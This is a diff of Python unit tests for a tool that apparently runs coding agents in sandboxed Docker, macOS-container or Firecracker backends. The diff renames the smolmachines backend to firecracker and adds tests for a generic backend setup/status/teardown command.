rc, _ = _cap(mc.status)
self.assertEqual(0, rc)
def test_status_not_macos_no_cli(self):
with patch.object(mc._container, "is_macos", return_value=False), \
patch.object(mc.shutil, "which", return_value=None):
rc, _ = _cap(mc.status)
self.assertEqual(1, rc)
def test_teardown_noop(self):
rc, out = _cap(mc.teardown)
self.assertEqual(0, rc)
self.assertIn("nothing to undo", out)
def test_service_running_false_without_cli(self):
with patch.object(mc.shutil, "which", return_value=None):
self.assertFalse(mc._service_running())
# --- netpool renderers (imperative + env overrides) -----------------
class TestNetpoolShellRenderers(unittest.TestCase):
def test_shell_setup_default(self):
with patch.dict("os.environ", {}, clear=True):
out = netpool.render_shell_setup()
self.assertIn("firecracker-netpool.sh up", out)
self.assertNotIn("BOT_BOTTLE_FC_", out) # no env prefix when all default
def test_shell_setup_with_overrides(self):
# pool_size()/ip_base() re-read the env; IFACE_PREFIX is a
# module constant, so exercise the function-backed knobs.
with patch.dict("os.environ", {"BOT_BOTTLE_FC_IP_BASE": "10.9.0.0",
"BOT_BOTTLE_FC_POOL_SIZE": "4"}):
out = netpool.render_shell_setup()
self.assertIn("BOT_BOTTLE_FC_IP_BASE=10.9.0.0", out)
self.assertIn("BOT_BOTTLE_FC_POOL_SIZE=4", out)
if __name__ == "__main__":
unittest.main()
+2 -2
View File
@@ -34,7 +34,7 @@ class TestPalettePrintf(unittest.TestCase):
class TestExecShellScript(unittest.TestCase):
_ARGV = ["smolvm", "machine", "exec", "--name", "x", "--", "claude"]
_ARGV = ["ssh", "-t", "100.64.0.1", "--", "claude"]
def test_no_decoration_returns_none(self):
self.assertIsNone(exec_shell_script(self._ARGV))
@@ -58,7 +58,7 @@ class TestExecShellScript(unittest.TestCase):
self.assertIn("\\033]111", script) # background reset
# No exec-replace when palette is active (shell must survive for reset)
parts = script.split("; ")
agent_part = next(p for p in parts if "smolvm" in p)
agent_part = next(p for p in parts if "ssh" in p)
self.assertFalse(agent_part.startswith("exec "))
def test_title_and_color_both_appear(self):
+7 -7
View File
@@ -16,7 +16,7 @@ from bot_bottle import bottle_state
from bot_bottle import supervise
from bot_bottle.backend import Bottle, BottleSpec, ExecResult
from bot_bottle.backend.docker import DockerBottleBackend
from bot_bottle.backend.smolmachines import SmolmachinesBottleBackend
from bot_bottle.backend.firecracker import FirecrackerBottleBackend
from bot_bottle.manifest import ManifestIndex
@@ -114,13 +114,13 @@ class TestRuntimeWorkspaceProvisioning(_FakeStateMixin, unittest.TestCase):
bottle.exec.assert_not_called()
bottle.cp_in.assert_not_called()
def test_smolmachines_uses_same_running_bottle_method(self) -> None:
backend = SmolmachinesBottleBackend()
def test_firecracker_uses_same_running_bottle_method(self) -> None:
backend = FirecrackerBottleBackend()
with patch(
"bot_bottle.backend.smolmachines.resolve_plan.smolmachines_preflight",
"bot_bottle.backend.firecracker.resolve_plan.util.require_firecracker",
):
plan = backend.prepare(
_spec(self.tmp, identity="demo-smol-work"),
_spec(self.tmp, identity="demo-fc-work"),
self.tmp / "stage",
)
@@ -128,10 +128,10 @@ class TestRuntimeWorkspaceProvisioning(_FakeStateMixin, unittest.TestCase):
backend.provision_workspace(plan, bottle)
bottle.cp_in.assert_called_once_with(str(self.tmp), "/home/node/workspace")
metadata = bottle_state.read_metadata("demo-smol-work")
metadata = bottle_state.read_metadata("demo-fc-work")
self.assertIsNotNone(metadata)
assert metadata is not None
self.assertEqual("smolmachines", metadata.backend)
self.assertEqual("firecracker", metadata.backend)
class TestWorkspaceTrustPath(_FakeStateMixin, unittest.TestCase):
+3 -3
View File
@@ -241,7 +241,7 @@ class TestBottleMetadataBackend(_FakeHomeMixin, unittest.TestCase):
assert loaded is not None
self.assertEqual("docker", loaded.backend)
def test_backend_field_roundtrips_smolmachines(self):
def test_backend_field_roundtrips_firecracker(self):
meta = BottleMetadata(
identity="dev-b2",
agent_name="dev",
@@ -249,13 +249,13 @@ class TestBottleMetadataBackend(_FakeHomeMixin, unittest.TestCase):
copy_cwd=False,
started_at="2026-06-02T00:00:00+00:00",
compose_project="",
backend="smolmachines",
backend="firecracker",
)
write_metadata(meta)
loaded = read_metadata("dev-b2")
self.assertIsNotNone(loaded)
assert loaded is not None
self.assertEqual("smolmachines", loaded.backend)
self.assertEqual("firecracker", loaded.backend)
def test_missing_backend_field_defaults_to_empty(self):
# Old state dirs written before PRD 0040 have no backend key.
+91
View File
@@ -0,0 +1,91 @@
"""Unit: the generic `backend` CLI command.
`./cli.py backend {setup,status} [--backend=NAME]` resolves a backend
and dispatches to its `setup()` / `status()` classmethods no
backend-specific commands. Also covers the docker backend's own
setup/status logic (the firecracker path is exercised by
test_firecracker_backend via netpool)."""
from __future__ import annotations
import subprocess
import unittest
from unittest.mock import MagicMock, patch
from bot_bottle.cli import backend as cmd
from bot_bottle.backend.docker import setup as docker_setup
class TestCmdBackendDispatch(unittest.TestCase):
def _fake_backend(self):
b = MagicMock()
b.setup.return_value = 0
b.status.return_value = 3
b.teardown.return_value = 0
return b
def test_setup_dispatches_to_backend(self):
b = self._fake_backend()
with patch.object(cmd, "get_bottle_backend", return_value=b) as gbb:
rc = cmd.cmd_backend(["setup", "--backend", "firecracker"])
gbb.assert_called_once_with("firecracker")
b.setup.assert_called_once_with()
b.status.assert_not_called()
self.assertEqual(0, rc)
def test_status_dispatches_and_returns_backend_code(self):
b = self._fake_backend()
with patch.object(cmd, "get_bottle_backend", return_value=b):
rc = cmd.cmd_backend(["status", "--backend", "docker"])
b.status.assert_called_once_with()
self.assertEqual(3, rc)
def test_teardown_dispatches_to_backend(self):
b = self._fake_backend()
with patch.object(cmd, "get_bottle_backend", return_value=b):
rc = cmd.cmd_backend(["teardown", "--backend", "firecracker"])
b.teardown.assert_called_once_with()
b.setup.assert_not_called()
self.assertEqual(0, rc)
def test_no_backend_flag_uses_host_default(self):
b = self._fake_backend()
with patch.object(cmd, "get_bottle_backend", return_value=b) as gbb:
cmd.cmd_backend(["status"])
gbb.assert_called_once_with(None)
def test_unknown_action_exits(self):
with self.assertRaises(SystemExit):
cmd.cmd_backend(["bogus"])
def test_unknown_backend_rejected_by_argparse(self):
with self.assertRaises(SystemExit):
cmd.cmd_backend(["status", "--backend", "nope"])
class TestDockerSetupStatus(unittest.TestCase):
def _ok(self):
return subprocess.CompletedProcess([], 0, stdout="", stderr="")
def test_setup_ok_when_docker_and_daemon_present(self):
with patch.object(docker_setup.shutil, "which", return_value="/usr/bin/docker"), \
patch.object(docker_setup, "_daemon_reachable", return_value=True), \
patch.object(docker_setup._util, "runsc_available", return_value=True):
self.assertEqual(0, docker_setup.setup())
def test_setup_fails_when_docker_missing(self):
with patch.object(docker_setup.shutil, "which", return_value=None):
self.assertEqual(1, docker_setup.setup())
def test_status_fails_when_daemon_unreachable(self):
with patch.object(docker_setup.shutil, "which", return_value="/usr/bin/docker"), \
patch.object(docker_setup, "_daemon_reachable", return_value=False), \
patch.object(docker_setup._util, "runsc_available", return_value=False):
self.assertEqual(1, docker_setup.status())
def test_teardown_is_noop_success(self):
self.assertEqual(0, docker_setup.teardown())
if __name__ == "__main__":
unittest.main()
+18 -18
View File
@@ -23,12 +23,12 @@ def _make_backend(empty: bool = True):
class TestCmdCleanup(unittest.TestCase):
def test_iterates_every_backend(self):
docker, docker_plan = _make_backend(empty=False)
smol, smol_plan = _make_backend(empty=False)
backends_by_name = {"docker": docker, "smolmachines": smol}
fc, fc_plan = _make_backend(empty=False)
backends_by_name = {"docker": docker, "firecracker": fc}
with patch.object(
cmd, "known_backend_names",
return_value=("docker", "smolmachines"),
return_value=("docker", "firecracker"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
@@ -38,18 +38,18 @@ class TestCmdCleanup(unittest.TestCase):
self.assertEqual(0, cmd.cmd_cleanup([]))
docker.prepare_cleanup.assert_called_once()
smol.prepare_cleanup.assert_called_once()
fc.prepare_cleanup.assert_called_once()
docker.cleanup.assert_called_once_with(docker_plan)
smol.cleanup.assert_called_once_with(smol_plan)
fc.cleanup.assert_called_once_with(fc_plan)
def test_short_circuits_when_all_empty(self):
docker, _ = _make_backend(empty=True)
smol, _ = _make_backend(empty=True)
backends_by_name = {"docker": docker, "smolmachines": smol}
fc, _ = _make_backend(empty=True)
backends_by_name = {"docker": docker, "firecracker": fc}
with patch.object(
cmd, "known_backend_names",
return_value=("docker", "smolmachines"),
return_value=("docker", "firecracker"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
@@ -59,16 +59,16 @@ class TestCmdCleanup(unittest.TestCase):
self.assertEqual(0, cmd.cmd_cleanup([]))
prompt.assert_not_called()
docker.cleanup.assert_not_called()
smol.cleanup.assert_not_called()
fc.cleanup.assert_not_called()
def test_abort_at_prompt_runs_nothing(self):
docker, _ = _make_backend(empty=False)
smol, _ = _make_backend(empty=True)
backends_by_name = {"docker": docker, "smolmachines": smol}
fc, _ = _make_backend(empty=True)
backends_by_name = {"docker": docker, "firecracker": fc}
with patch.object(
cmd, "known_backend_names",
return_value=("docker", "smolmachines"),
return_value=("docker", "firecracker"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
@@ -77,18 +77,18 @@ class TestCmdCleanup(unittest.TestCase):
):
self.assertEqual(0, cmd.cmd_cleanup([]))
docker.cleanup.assert_not_called()
smol.cleanup.assert_not_called()
fc.cleanup.assert_not_called()
def test_skips_empty_plans_when_others_have_work(self):
# docker has work, smolmachines doesn't — only docker.cleanup
# docker has work, firecracker doesn't — only docker.cleanup
# is called.
docker, docker_plan = _make_backend(empty=False)
smol, _ = _make_backend(empty=True)
backends_by_name = {"docker": docker, "smolmachines": smol}
fc, _ = _make_backend(empty=True)
backends_by_name = {"docker": docker, "firecracker": fc}
with patch.object(
cmd, "known_backend_names",
return_value=("docker", "smolmachines"),
return_value=("docker", "firecracker"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
@@ -97,7 +97,7 @@ class TestCmdCleanup(unittest.TestCase):
):
cmd.cmd_cleanup([])
docker.cleanup.assert_called_once_with(docker_plan)
smol.cleanup.assert_not_called()
fc.cleanup.assert_not_called()
if __name__ == "__main__":
+3 -3
View File
@@ -83,9 +83,9 @@ class TestCmdCommitSlugArg(_FakeHomeMixin, unittest.TestCase):
mock_gf.assert_called_once_with("macos-container")
mock_freezer.commit_slug.assert_called_once_with(slug)
def test_commits_smolmachines_bottle(self):
def test_commits_firecracker_bottle(self):
slug = "dev-abc12"
self._write_meta(slug, "smolmachines")
self._write_meta(slug, "firecracker")
with patch("bot_bottle.cli.commit.get_freezer") as mock_gf:
mock_freezer = MagicMock()
@@ -93,7 +93,7 @@ class TestCmdCommitSlugArg(_FakeHomeMixin, unittest.TestCase):
rc = cmd_commit([slug])
self.assertEqual(0, rc)
mock_gf.assert_called_once_with("smolmachines")
mock_gf.assert_called_once_with("firecracker")
def test_returns_zero_on_commit_cancelled(self):
slug = "dev-abc12"
+3 -3
View File
@@ -35,8 +35,8 @@ class TestStartBackendFlag(unittest.TestCase):
return parser
def test_flag_recognized(self):
args = self._build_parser().parse_args(["--backend=smolmachines", "researcher"])
self.assertEqual("smolmachines", args.backend)
args = self._build_parser().parse_args(["--backend=firecracker", "researcher"])
self.assertEqual("firecracker", args.backend)
self.assertEqual("researcher", args.name)
def test_flag_default_none_means_env_or_default_backend(self):
@@ -53,7 +53,7 @@ class TestStartBackendFlag(unittest.TestCase):
# `--backend` ultimately threads to) prefers the explicit
# name over BOT_BOTTLE_BACKEND.
from bot_bottle.backend import get_bottle_backend
with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "smolmachines"}):
with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "firecracker"}):
self.assertEqual("docker", get_bottle_backend("docker").name)

Some files were not shown because too many files have changed in this diff Show More